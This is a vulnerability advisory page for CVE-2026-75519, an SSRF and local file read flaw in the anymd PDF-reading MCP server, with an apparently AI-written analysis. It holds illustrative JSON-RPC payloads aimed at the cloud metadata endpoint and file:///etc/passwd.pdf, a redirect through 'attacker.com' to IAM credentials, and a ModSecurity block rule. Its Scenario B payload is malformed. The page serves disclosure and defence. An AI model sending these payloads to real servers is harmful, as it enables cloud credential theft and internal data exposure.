CVE Professor
/
All CVEs
CVE-2026-75519

CVE-2026-75519 — CWE-918

HIGH CVSS 8.8 NVD

anymd is a Model Context Protocol server for reading PDF documents. Prior to version 2.4.1, the read_pdf tool accepted URL sources with no SSRF or scheme validation. The URL branch passed source.url directly to PDF.js, which could fetch internal HTTP endpoints (SSRF), follow redirects to private hosts, and read arbitrary local PDFs via file:// URLs — bypassing the path confinement applied to the path source. This issue has been patched in version 2.4.1.

anymd is a Model Context Protocol server for reading PDF documents. Prior to version 2.4.1, the read_pdf tool accepted URL sources with no SSRF or scheme validation. The URL branch passed source.url directly to PDF.js, which could fetch internal HTTP endpoints (SSRF), follow redirects to private hosts, and read arbitrary local PDFs via file:// URLs — bypassing the path confinement applied to the path source. This issue has been patched in version 2.4.1.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity Low VI:L
Vuln. Avail. None VA:N
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-75519 is a Server-Side Request Forgery (SSRF) and Path Traversal vulnerability in anymd, a Model Context Protocol (MCP) server designed for reading PDF documents.

The core technical flaw lies in the read_pdf tool's handling of input sources. Prior to version 2.4.1, the application failed to validate the scheme or destination of URLs provided by the user. Specifically:
1. Missing Scheme Validation: The code accepted any URL scheme, including file://, http://, and https://.
2. Missing SSRF Protection: When an http:// or https:// URL was provided, it was passed directly to the underlying PDF.js library without checking if the IP address resolved to a private/internal network range (e.g., 127.0.0.1, 10.x.x.x, 172.16.x.x, 192.168.x.x).
3. Bypassed Path Confinement: The application likely had a "path confinement" mechanism (sandboxing) for local file paths, but this check was only applied to the path source type. The url source type bypassed this check entirely, allowing the file:// protocol to read arbitrary local files that ended in .pdf (or potentially other files if the PDF parser is lenient with magic bytes, though the CVE specifies "arbitrary local PDFs").

CWE-918 (Server-Side Request Forgery) is the primary classification, but the file:// aspect also touches on CWE-22 (Path Traversal). The CVSS vector AV:N/AC:L/PR:N/UI:N indicates this is an unauthenticated, network-accessible vulnerability with low complexity.

⚡ Attack Chain

1. Discovery & Reconnaissance

  • Target Identification: The attacker identifies a host running an MCP server (e.g., via port scanning for common MCP ports or service banners).
  • Version Fingerprinting: The attacker queries the MCP server's metadata or version endpoint (if exposed) to confirm the version is < 2.4.1. Alternatively, they may attempt a harmless read_pdf call with a known public URL to confirm the tool's existence and functionality.
  • 2. Exploitation

    The attacker interacts with the read_pdf tool via the MCP protocol (typically JSON-RPC over HTTP or WebSocket).

    Illustrative PoC (JSON-RPC Request):
    Note: The exact MCP endpoint URI (e.g., /mcp, /rpc, /api/v1/tools) is not specified in the CVE description. The following is an illustrative example of the payload structure.

    Scenario A: SSRF to Internal Metadata Service (AWS/GCP/Azure)

    {
      "jsonrpc": "2.0",
      "id": 1,
      "method": "tools/call",
      "params": {
        "name": "read_pdf",
        "arguments": {
          "source": {
            "type": "url",
            "url": "http://169.254.169.254/latest/meta-data/"
          }
        }
      }
    }
  • Mechanism: The server passes http://169.254.169.254/latest/meta-data/ to PDF.js. PDF.js attempts to fetch this URL. If the response is not a valid PDF, PDF.js may return an error, but some implementations might leak partial content or headers in the error message. More critically, if the internal service returns a PDF-like structure or if the attacker uses a redirect to a controlled server that logs the request, they can confirm access.
  • Refinement for Data Exfiltration: To reliably exfiltrate data, the attacker might use a redirect:
  • "url": "http://attacker.com/redirect?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

    The attacker's server issues a 302 Found redirect to the internal IP. The MCP server follows the redirect, fetches the internal data, and attempts to parse it as a PDF. If the internal service returns a valid PDF (e.g., a test document), the content is returned to the attacker. If it returns HTML/JSON, the PDF parser fails, but the request was made, allowing for blind SSRF or timing-based detection.

    Scenario B: Local File Read via file://

    {
      "jsonrpc": "2.0",
      "id": 2,
      "method": "tools/call",
      "arguments": {
        "source": {
          "type": "url",
          "url": "file:///etc/passwd.pdf"
        }
      }
    }
  • Mechanism: The file:// scheme bypasses the network layer. The PDF.js library (or the underlying file reader) opens /etc/passwd.pdf. If the file exists and is a valid PDF, its content is returned. If the file is not a PDF, the tool may return an error, but the attacker can iterate through known PDF paths (e.g., /var/www/html/reports/secret.pdf, /home/user/documents/confidential.pdf).
  • Note: The CVE states "read arbitrary local PDFs." This implies the file must* be a valid PDF to be successfully read and returned. However, if the PDF.js implementation is lenient or if the attacker can craft a PDF that contains sensitive data (e.g., by uploading a malicious PDF earlier), this becomes a data exfiltration vector.

    3. Post-Exploitation

  • Data Exfiltration: The attacker reads sensitive PDFs from the local filesystem (e.g., financial reports, legal documents, internal wikis exported to PDF).
  • Internal Network Mapping: Using SSRF, the attacker scans internal ports (e.g., http://10.0.0.5:8080/admin) to identify internal services.
  • Cloud Credential Theft: If the MCP server runs in a cloud environment (AWS, GCP, Azure), the attacker can access the instance metadata service to retrieve IAM credentials, leading to full cloud account compromise.
  • Lateral Movement: With internal network access, the attacker can pivot to other vulnerable internal services.
  • 🌍 Real World Impact

  • Confidentiality (High): The attacker can read arbitrary local PDF files and access internal HTTP endpoints. This can lead to the exposure of sensitive business data, intellectual property, and cloud credentials.
  • Integrity (Low): The CVSS vector indicates low integrity impact. The attacker cannot directly modify files or data, but they can potentially trigger actions on internal services via SSRF (e.g., sending a request to an internal admin panel that performs a state-changing action if the request is crafted correctly).
  • Availability (None): The vulnerability does not directly cause a denial of service. However, repeated SSRF requests could potentially overload internal services.
  • Practical Consequences:
  • * Cloud Environments: Critical risk. Access to instance metadata can lead to full cloud account takeover. * On-Premise: Risk of data leakage from local file systems and internal network reconnaissance. * MCP Ecosystem: Since MCP is an emerging standard for AI tool integration, this vulnerability could be chained with other AI agent vulnerabilities to automate data exfiltration.

    🛡️ Remediation & Mitigation

    1. Upgrade

  • Immediate Action: Upgrade anymd to version 2.4.1 or later. This version includes the fix for SSRF and scheme validation.
  • 2. Workarounds (If Immediate Upgrade is Not Possible)

  • Network Segmentation: Isolate the MCP server in a network segment with no access to internal resources or cloud metadata endpoints. Use firewall rules to block outbound traffic from the MCP server to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16).
  • Disable url Source Type: If the MCP server configuration allows, disable the url source type for the read_pdf tool, forcing users to use the path source type (which is subject to path confinement).
  • WAF/ModSecurity Rule: Implement a rule to block requests containing file:// or internal IP ranges in the url parameter of the read_pdf tool.
  • SecRule ARGS:source/url "@rx (file://|http://(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.|169\.254\.|127\.))" \
            "id:100001,phase:2,deny,status:403,msg:'SSRF attempt detected in read_pdf url'"

    3. Detection

  • Web Server Logs: Look for JSON-RPC requests to the MCP endpoint where the url parameter contains:
  • * file:// * Internal IP addresses (10.x.x.x, 172.16.x.x, 192.168.x.x, 127.0.0.1) * Cloud metadata IPs (169.254.169.254)
  • Example Log Pattern:
  • POST /mcp HTTP/1.1
        Content-Type: application/json
        {"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"read_pdf","arguments":{"source":{"type":"url","url":"file:///etc/passwd.pdf"}}}}
  • IoCs:
  • * Outbound HTTP requests from the MCP server to internal IPs or metadata endpoints. * Unusual spikes in PDF read operations from a single client IP.

    ⚠️ Urgency

  • CVSS Score: 8.8 (HIGH)
  • CISA KEV: No
  • Exploit Complexity: Low (PR:N, UI:N, AC:L)
  • Priority: Critical for cloud environments and High for on-premise environments.
* Cloud: Patch immediately. The risk of cloud credential theft is severe. * On-Premise: Patch within 24-48 hours. The risk of data leakage is significant, especially if sensitive PDFs are stored on the host. * General: Since this is an unauthenticated vulnerability, any exposed MCP server is at risk. Do not delay patching.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
8.8 / 10 · CVSS HIGH
Weakness Types (CWE)
References & Advisories (4)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.5
CVE-2026-135458
A path traversal vulnerability was identified in GitHub Enterprise Server that allowed a normal authenticated
8.4
CVE-2026-81137
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains a Server-Side Request Fo
7.1
CVE-2026-144453
AgentCrew before 0.25.1 contains a server-side request forgery and local file read vulnerability that allows m